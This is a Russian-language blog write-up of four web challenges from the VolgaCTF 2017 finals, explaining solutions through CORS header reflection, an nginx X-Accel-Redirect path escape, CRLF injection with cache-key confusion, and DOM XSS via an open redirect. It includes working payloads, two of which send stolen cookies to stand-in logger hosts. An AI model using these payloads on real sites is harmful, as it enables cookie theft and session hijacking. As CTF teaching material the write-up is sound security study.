21 сентября 2017

Activity/VolgaCTF 2017 Writeup


Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.

Task 1.1
https://task1.finals.2017.volgactf.ru/
https://task1.finals.2017.volgactf.ru/source.zip
Nginx + PHP, задание с исходным кодом. Основная часть:

foreach ($_SERVER as $name => $value) { 
  if (substr($name, 0, 5) == 'HTTP_') { 
    header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
  } 
}

foreach($_GET as $name => $value) {
  if(is_string($value)) {
    header($name.': '.$value, false);
  }
}

Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly - то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers и сформировать payload для кражи cookie у бота.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
    xhr.withCredentials = true;
    xhr.send();
    if (xhr.status == 200) {
        location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
    }
</script>

Task 1.2
Вторая часть задания была на server-side уязвимость в nginx.
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.

server {
    ...
    server_name task1.finals.2017.volgactf.ru;
    root /var/www/html;
    ...
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }
    ...
}
server {
    ...
    server_name volgactf_dev;
    root /var/www/html_old;
    ...
    location ~ \.php$ {
        deny all;
    }
}

Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location, меняющий код ответа на 302 и заголовок HTTP/ для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php).

https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OK

В nginx также есть специальные заголовки Status и X-Accel (https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).

https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.php

Наиболее интересным является X-Accel-Redirect, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.

root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1

Результат: $root$URI == /var/www/html/index.php

root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar

Результат: $root$URI == /var/www/htmlfoo/bar

Так как X-Accel-Redirect в отличие от Request-URI не обязательно должен начинаться с символа /, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:

root /var/www/html;
root /var/www/html_old;

Обратиться к flag.php через дефолтный vhost не составляет труда:

https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.php

Task 2
https://task2.finals.2017.volgactf.ru/
https://task2.finals.2017.volgactf.ru/static/source.zip
Nginx + Django, задание с исходным кодом.

В задании было настроено кэширование ответа /account/ в котором для администратора отображался флаг.

    location /account/ {
        uwsgi_cache_key $request_uri$cookie_sessionid;

        uwsgi_cache cache;
        uwsgi_cache_valid 200 1m;
        uwsgi_cache_use_stale error  timeout invalid_header http_500;
        uwsgi_ignore_headers Vary;
        add_header X-Cache-Status $upstream_cache_status;

        include         uwsgi_params;
        uwsgi_pass      unix:/run/uwsgi/task2.sock;
    }

Ключом кэша является строка $request_uri$cookie_sessionid, где sessionid - это идентификатор сессии пользователя в Django.

В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).

    if ($scheme != "https") {
        return 301 https://$host$uri;
    }

Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel или Status.
Протестировав кэширование ответа можно было заметить, что при запросе

GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnj

Nginx в переменной $cookie_sessionid использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx.
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.

http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;

В результате:
1. В перенаправлении с http на https будет создана cookie sessionid=xxx
2. С / запрос будет перенаправлен на /account/, так как пользователь авторизован
3. Cookie sessionid=xxx не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше.
4. Ответ с флагом будет закэширован с ключом /account/xxx

Получить флаг можно сделав такой запрос:

GET /acoount/xxx HTTP/1.1

или

GET /account/ HTTP/1.1
Cookie: sessionid=xxx;

Task 3
https://task3.finals.2017.volgactf.ru
Задание на DOM Based XSS.

В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.

loadPage('language/' + lang + '.html');

При этом параметр lang разбивался на 2 части по символу _. Первая часть приводилась к lower case, вторая к upper case.

  var langSplit = lang.split('_');

  if(langSplit.length === 2) {
    var language = langSplit[0],
    countryCode = langSplit[1];

    language = language && language != language.toLowerCase() ? language.toLowerCase() : language;
    countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode;

    return language + '_' + countryCode;

Также для скачивания текста использовался сценарий downloadButton.php в котором можно было сделать Open Redirect.

https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/

Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:

https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx

xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');

Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.

Комментариев нет :

Отправить комментарий

Примечание. Отправлять комментарии могут только участники этого блога.